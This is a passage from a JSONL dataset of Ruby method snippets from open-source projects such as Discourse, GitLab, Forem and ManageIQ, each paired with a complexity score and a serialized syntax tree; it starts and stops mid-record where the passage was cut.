end","complexity_score":88.05,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"refresh_automatic_group!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lookup_group\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"automatic\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"moderators\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"default_notification_level=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"messageable_level=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALIAS_LEVELS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"everyone\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id=\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"save!\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"localized_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"groups.default_names.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"groups.default_names.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_use_name?\",{\"type\":\"lvar\",\"children\":[\"localized_name\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"lvar\",\"children\":[\"localized_name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_use_name?\",{\"type\":\"lvar\",\"children\":[\"default_name\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"lvar\",\"children\":[\"default_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"everyone\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"visibility_level=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"visibility_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"staff\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"save!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"moderators\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messageable_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALIAS_LEVELS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"everyone\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"visibility_level\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"visibility_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"visibility_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"logged_on_users\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"remove_subquery\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"admins\"]},{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE NOT admin OR staged\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"moderators\"]},{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE NOT moderator OR staged\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"staff\"]},{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE (NOT admin AND NOT moderator) OR staged\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"trust_level_0\"]},{\"type\":\"sym\",\"children\":[\"trust_level_1\"]},{\"type\":\"sym\",\"children\":[\"trust_level_2\"]},{\"type\":\"sym\",\"children\":[\"trust_level_3\"]},{\"type\":\"sym\",\"children\":[\"trust_level_4\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE trust_level < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"-\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\" OR staged\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"removed_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      DELETE FROM group_users\\n\"]},{\"type\":\"str\",\"children\":[\"            USING (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remove_subquery\"]}]},{\"type\":\"str\",\"children\":[\") X\\n\"]},{\"type\":\"str\",\"children\":[\"            WHERE group_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"              AND user_id = X.id\\n\"]},{\"type\":\"str\",\"children\":[\"      RETURNING group_users.user_id\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_user_ids\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"publish_group_membership_updates\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"lvar\",\"children\":[\"removed_user_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"AUTO_GROUPS_REMOVE\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"insert_subquery\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"admins\"]},{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE admin AND NOT staged\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"moderators\"]},{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE moderator AND NOT staged\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"staff\"]},{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE (moderator OR admin) AND NOT staged\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"trust_level_1\"]},{\"type\":\"sym\",\"children\":[\"trust_level_2\"]},{\"type\":\"sym\",\"children\":[\"trust_level_3\"]},{\"type\":\"sym\",\"children\":[\"trust_level_4\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE trust_level >= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"-\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\" AND NOT staged\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"trust_level_0\"]},{\"type\":\"str\",\"children\":[\"SELECT id FROM users WHERE NOT staged\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"added_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      INSERT INTO group_users (group_id, user_id, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"           SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\", X.id, now(), now()\\n\"]},{\"type\":\"str\",\"children\":[\"             FROM group_users\\n\"]},{\"type\":\"str\",\"children\":[\"       RIGHT JOIN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"insert_subquery\"]}]},{\"type\":\"str\",\"children\":[\") X ON X.id = user_id AND group_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            WHERE user_id IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"       RETURNING group_users.user_id\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"save!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_user_ids\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"publish_group_membership_updates\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"lvar\",\"children\":[\"added_user_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"AUTO_GROUPS_ADD\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"reset_user_count\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"1ffd8a3e-1b2d-4a08-b6c6-31751e8494d2"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/authentication/providers/provider.rb","start_line":16,"raw_source":"def self.official_name\n        name.demodulize\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"official_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"demodulize\"]}]}","id":"82f52b31-ead1-4ca8-a658-06c5f7e89d93"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/memoized_helpers_spec.rb","start_line":104,"raw_source":"def working_with?(double)\n              double.value >= value\n            end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"working_with?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"double\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"double\"]},\"value\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"value\"]}]}]}","id":"f8caa830-6299-444b-b936-2b5b5071a63f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/log.rb","start_line":253,"raw_source":"def enable_debug(b=true)\n      @debug_mode = b\n      self\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_debug\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"b\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@debug_mode\",{\"type\":\"lvar\",\"children\":[\"b\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"27db3e0e-68cf-4ed3-87fa-44614e62afe0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_adapter/ar_dba.rb","start_line":608,"raw_source":"def table_metrics_analysis(table_name)\n    data = select(<<-SQL, \"Table Metrics Stats Analysis\")\n              SELECT seq_scan           AS table_scans\n                   , seq_tup_read       AS sequential_rows_read\n                   , idx_scan           AS index_scans\n                   , idx_tup_fetch      AS index_rows_fetched\n                   , n_tup_ins          AS rows_inserted\n                   , n_tup_upd          AS rows_updated\n                   , n_tup_del          AS rows_deleted\n                   , n_tup_hot_upd      AS rows_hot_updated\n                   , n_live_tup         AS rows_live\n                   , n_dead_tup         AS rows_dead\n                   , last_vacuum        AS last_vacuum_date\n                   , last_autovacuum    AS last_autovacuum_date\n                   , last_analyze       AS last_analyze_date\n                   , last_autoanalyze   AS last_autoanalyze_date\n                FROM pg_stat_all_tables\n               WHERE schemaname NOT IN ('pg_catalog', 'information_schema')\n                 AND relname = '#{table_name}'\n               ORDER BY relname ASC ;\n    SQL\n\n    integer_columns = %w[\n      table_scans\n      sequential_rows_read\n      index_scans\n      index_rows_fetched\n      rows_inserted\n      rows_updated\n      rows_deleted\n      rows_hot_updated\n      rows_live\n      rows_dead\n    ]\n\n    timestamp_columns = %w[\n      last_vacuum_date\n      last_autovacuum_date\n      last_analyze_date\n      last_autoanalyze_date\n    ]\n\n    data.each do |datum|\n      integer_columns.each   { |c| datum[c] = datum[c].to_i }\n      timestamp_columns.each { |c| datum[c] = ActiveRecord::Type::Time.new.deserialize(datum[c]) }\n    end\n\n    data.to_a\n  end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"table_metrics_analysis\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"              SELECT seq_scan           AS table_scans\\n\"]},{\"type\":\"str\",\"children\":[\"                   , seq_tup_read       AS sequential_rows_read\\n\"]},{\"type\":\"str\",\"children\":[\"                   , idx_scan           AS index_scans\\n\"]},{\"type\":\"str\",\"children\":[\"                   , idx_tup_fetch      AS index_rows_fetched\\n\"]},{\"type\":\"str\",\"children\":[\"                   , n_tup_ins          AS rows_inserted\\n\"]},{\"type\":\"str\",\"children\":[\"                   , n_tup_upd          AS rows_updated\\n\"]},{\"type\":\"str\",\"children\":[\"                   , n_tup_del          AS rows_deleted\\n\"]},{\"type\":\"str\",\"children\":[\"                   , n_tup_hot_upd      AS rows_hot_updated\\n\"]},{\"type\":\"str\",\"children\":[\"                   , n_live_tup         AS rows_live\\n\"]},{\"type\":\"str\",\"children\":[\"                   , n_dead_tup         AS rows_dead\\n\"]},{\"type\":\"str\",\"children\":[\"                   , last_vacuum        AS last_vacuum_date\\n\"]},{\"type\":\"str\",\"children\":[\"                   , last_autovacuum    AS last_autovacuum_date\\n\"]},{\"type\":\"str\",\"children\":[\"                   , last_analyze       AS last_analyze_date\\n\"]},{\"type\":\"str\",\"children\":[\"                   , last_autoanalyze   AS last_autoanalyze_date\\n\"]},{\"type\":\"str\",\"children\":[\"                FROM pg_stat_all_tables\\n\"]},{\"type\":\"str\",\"children\":[\"               WHERE schemaname NOT IN ('pg_catalog', 'information_schema')\\n\"]},{\"type\":\"str\",\"children\":[\"                 AND relname = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"               ORDER BY relname ASC ;\\n\"]}]},{\"type\":\"str\",\"children\":[\"Table Metrics Stats Analysis\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"integer_columns\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"table_scans\"]},{\"type\":\"str\",\"children\":[\"sequential_rows_read\"]},{\"type\":\"str\",\"children\":[\"index_scans\"]},{\"type\":\"str\",\"children\":[\"index_rows_fetched\"]},{\"type\":\"str\",\"children\":[\"rows_inserted\"]},{\"type\":\"str\",\"children\":[\"rows_updated\"]},{\"type\":\"str\",\"children\":[\"rows_deleted\"]},{\"type\":\"str\",\"children\":[\"rows_hot_updated\"]},{\"type\":\"str\",\"children\":[\"rows_live\"]},{\"type\":\"str\",\"children\":[\"rows_dead\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timestamp_columns\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"last_vacuum_date\"]},{\"type\":\"str\",\"children\":[\"last_autovacuum_date\"]},{\"type\":\"str\",\"children\":[\"last_analyze_date\"]},{\"type\":\"str\",\"children\":[\"last_autoanalyze_date\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datum\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integer_columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datum\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datum\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"to_i\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp_columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datum\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Type\"]},\"Time\"]},\"new\"]},\"deserialize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datum\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_a\"]}]}]}","id":"b64ef358-9268-463a-b251-d21c02a103d3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/facebook/delivery_status.rb","start_line":26,"raw_source":"def contact\n    ::ContactInbox.find_by(source_id: params.sender_id)&.contact\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"contact\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ContactInbox\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"sender_id\"]}]}]}]},\"contact\"]}]}","id":"fd819c11-ab99-4e40-8daf-cb124afd131d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/ldap.rb","start_line":76,"raw_source":"def type\n    self.class.type\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"type\"]}]}","id":"d8160479-673e-4023-bdd6-fca59153a090"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/response_template_policy.rb","start_line":67,"raw_source":"def user_trusted?\n    Authorizer.for(user: user).accesses_mod_response_templates?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user_trusted?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authorizer\"]},\"for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},\"accesses_mod_response_templates?\"]}]}","id":"32690b34-faa5-4f0e-a0de-eb24b44b9c20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/gitlab_schema_validation_suggestion.rb","start_line":23,"raw_source":"def add_suggestions_on_using_clusterwide_schema\n        helper.all_changed_files.grep(DB_DOCS_PATH).each do |filename|\n          add_suggestion(\n            filename: filename,\n            regex: MATCH,\n            replacement: REPLACEMENT,\n            comment_text: SUGGESTION\n          )\n        end\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_suggestions_on_using_clusterwide_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"all_changed_files\"]},\"grep\",{\"type\":\"const\",\"children\":[null,\"DB_DOCS_PATH\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"add_suggestion\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"const\",\"children\":[null,\"MATCH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replacement\"]},{\"type\":\"const\",\"children\":[null,\"REPLACEMENT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment_text\"]},{\"type\":\"const\",\"children\":[null,\"SUGGESTION\"]}]}]}]}]}]}","id":"6be0e11d-84f8-4c99-9056-0fab3cfcd6a1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config.rb","start_line":110,"raw_source":"def internal?\n      base_config_path = File.expand_path(File.join(ConfigLoader::RUBOCOP_HOME, 'config'))\n      File.expand_path(loaded_path).start_with?(base_config_path)\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"internal?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_config_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigLoader\"]},\"RUBOCOP_HOME\"]},{\"type\":\"str\",\"children\":[\"config\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[null,\"loaded_path\"]}]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"base_config_path\"]}]}]}]}","id":"84facaca-9137-4c0e-a1f8-8604aa715724"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/pipelines_controller.rb","start_line":315,"raw_source":"def authorize_read_build_on_pipeline!\n    access_denied! unless can?(current_user, :read_build, @pipeline)\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_read_build_on_pipeline!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_build\"]},{\"type\":\"ivar\",\"children\":[\"@pipeline\"]}]},null,{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]}","id":"f896967c-f1b7-442d-8b90-22e7b91a90b2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/email_log.rb","start_line":67,"raw_source":"def self.reached_max_emails?(user, email_type = nil)\n    if SiteSetting.max_emails_per_day_per_user == 0 || CRITICAL_EMAIL_TYPES.include?(email_type)\n      return false\n    end\n\n    count = where(\"created_at > ?\", 1.day.ago).where(user_id: user.id).count\n\n    count >= SiteSetting.max_emails_per_day_per_user\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reached_max_emails?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"email_type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_emails_per_day_per_user\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRITICAL_EMAIL_TYPES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"email_type\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"str\",\"children\":[\"created_at > 